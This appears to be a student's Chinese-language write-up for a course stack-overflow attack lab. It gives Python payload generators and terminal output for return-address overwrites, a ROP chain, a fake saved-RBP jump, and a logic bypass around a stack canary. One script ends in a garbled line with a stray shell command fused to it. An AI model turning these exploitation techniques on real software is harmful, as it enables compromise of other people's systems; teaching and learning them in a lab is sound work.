栈溢出攻击实验

题目解决思路

Problem 1:

- **分析**：Problem 1 的核心漏洞位于 func 函数（0x401232）中，该函数调用 strcpy 将用户输入复制到位于 rbp-0x8 的局部缓冲区，由于未检查输入长度导致栈溢出；为了劫持程序控制流，我们需要构造一个二进制 Payload，首先填充 **16字节** 的垃圾数据（8字节缓冲区 + 8字节 Saved RBP）以精确覆盖到栈上的返回地址，紧接着写入目标函数 func1 的入口地址 **0x401216**（64位小端序），从而使得 func 函数返回时直接跳转至 func1 并输出 "Yes!I like ICS!"
- **解决方案**：

p1.py

```python
import struct

# 1. 设置目标参数
padding_length = 16          # 8字节buffer + 8字节saved_rbp
target_address = 0x401216    # func1 的地址

# 2. 构造 Payload
# b'A' * 16 用于填充空间，覆盖到 ret 地址之前
padding = b'A' * padding_length

# struct.pack('<Q', ...) 将地址转为 64位小端序(Little Endian)
# < 代表小端序, Q 代表 unsigned long long (8 bytes)
address = struct.pack('<Q', target_address)

payload = padding + address

# 3. 写入文件
filename = "ans1.txt"
with open(filename, "wb") as f:
    f.write(payload)

print(f"Payload generated: {filename}")
print(f"Padding size: {padding_length}")
print(f"Jump to: {hex(target_address)}")
print(f"Hex content: {payload.hex()}")
```

- **结果**：

```
tenderness@Tenderness:~/attack-lab-tender77777$ ./problem1 ans1.txt
Do you like ICS?
Yes!I like ICS!
tenderness@Tenderness:~/attack-lab-tender77777$
```

Problem 2:

- **分析**：Problem 2 的核心在于利用 **ROP (Return Oriented Programming)** 技术绕过 NX 保护并进行函数传参。漏洞点位于 func 函数，memcpy 向 rbp-0x8 的缓冲区写入了 **56字节**，造成栈溢出；为了满足目标函数 func2 对第一个参数（rdi）必须为 **0x3f8** 的检查，我们需要构造 Payload：首先填充 **16字节** 覆盖 Saved RBP，接着写入程序中自带的 pop rdi; ret Gadget 地址

（**0x4012c7**）及其参数 **0x3f8** 将数值加载到寄存器，最后写入 func2 的入口地址 **0x401216**，从而成功劫持控制流并打印出 "Yes!I like ICS!"。

- **解决方案**：

p2.py

```python
import struct

# 1. 辅助函数：将整数转为64位小端序字节
def p64(val):
    return struct.pack('<Q', val)

# 2. 关键地址
pop_rdi_ret_addr = 0x4012c7  # Gadget: pop rdi; ret
func2_addr       = 0x401216  # 目标函数 func2
arg_val          = 0x3f8     # 题目要求的参数值

# 3. 构造 Payload
offset = 16  # 8 bytes buffer + 8 bytes saved rbp
padding = b'A' * offset

# ROP Chain
rop = p64(pop_rdi_ret_addr) + p64(arg_val) + p64(func2_addr)

payload = padding + rop

# 4. 写入文件
filename = "ans2.txt"
with open(filename, "wb") as f:
    f.write(payload)

print(f"[+] Payload written to {filename}")
print(f"[+] Padding: {offset}")
print(f"[+] Gadget: {hex(pop_rdi_ret_addr)}")
print(f"[+] Arg: {hex(arg_val)}")
print(f"[+] Target: {hex(func2_addr)}")
```

- **结果**：

```
tenderness@Tenderness:~/attack-lab-tender77777$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
tenderness@Tenderness:~/attack-lab-tender77777$
```

Problem 3:

- **分析**：Problem 3 的难点在于可用的栈溢出空间极小（仅能覆盖返回地址后的 16-24 字节）且缺乏显式的 Gadget 来传递参数 0x72。通过分析目标函数 func1 的汇编代码，我发现其参数检查逻辑位于函数开头，且依赖于栈上的局部变量。为了绕过这一检查及参数传递的限制，我采用了 **Partial Overwrite / 直接跳转** 的策略：构造 Payload 填充 32 字节缓冲区，将 Saved RBP 覆盖为一个可读写的合法地址（如 .data 段地址 0x403510），并将返回地址直接覆盖为 func1 内部跳过参数检查后的指令地址 **0x40122b**。这样，程序在 func 返回时直接执行打印 "Your Luck number is 114" 的代码并随后调用 exit 正常退出，成功完成了攻击。

- **解决方案**:

p3.py

```python
import struct

# 1. 地址定义
# 跳过 func1 的参数检查和栈帧建立，直接跳转到加载字符串的位置
# 40122b: 48 b8 59 6f 75 72 20  movabs $0x63756c2072756f59,%rax
target_addr = 0x40122b

# 一个可读写的地址用来做 Fake RBP，防止 func1 内部寻址崩溃
# 这里选取 .bss 或 .data 段的一个地址，例如 saved_rsp 变量的地址
fake_rbp = 0x403510

# 2. 构造 Payload
# Buffer (32)
padding = b'A' * 32

# Saved RBP (8) -> Fake RBP
# 当 func 执行 leave 时，这个值会被 pop 到 RBP 寄存器
rbp_val = struct.pack('<Q', fake_rbp)

# Return Address (8) -> Target
ret_addr = struct.pack('<Q', target_addr)

payload = padding + rbp_val + ret_addr

# 3. 写入文件
filename = "ans3.txt"
with open(filename, "wb") as f:
    f.write(payload)

print(f"[+] Payload written to {filename}")
print(f"[+] Jump to: {hex(target_addr)}")chmod +x problem3
```

- **结果**:

```
tenderness@Tenderness:~/attack-lab-tender77777$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
Segmentation fault (core dumped)
```

Problem 4:

- **分析**：本题开启了 Canary 栈保护。汇编代码显示，程序在 func 函数入口处（0x136c）将 **%fs:0x28** 处的随机值（Cookie）插入到栈帧底部的 **rbp-0x8** 位置；在函数返回前（0x140e），程序取出该值与原值进行异或或比较校验。如果攻击者试图溢出缓冲区覆盖返回地址，必然会先破坏该 Canary 值，导致校验失败并触发 __stack_chk_fail 终止程序
- **解决方案**:
- 本题利用逻辑漏洞绕过保护，无需溢出。汇编代码 0x13df 处存在指令 cmpl $0xffffffff, -0xc(%rbp)，直接判断输入是否等于 **-1**
- **结果**:

```
tenderness@Tenderness:~/attack-lab-tender77777$ ./problem4
hi please tell me what is your name?
-1
hi! do you like ics?
-1
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```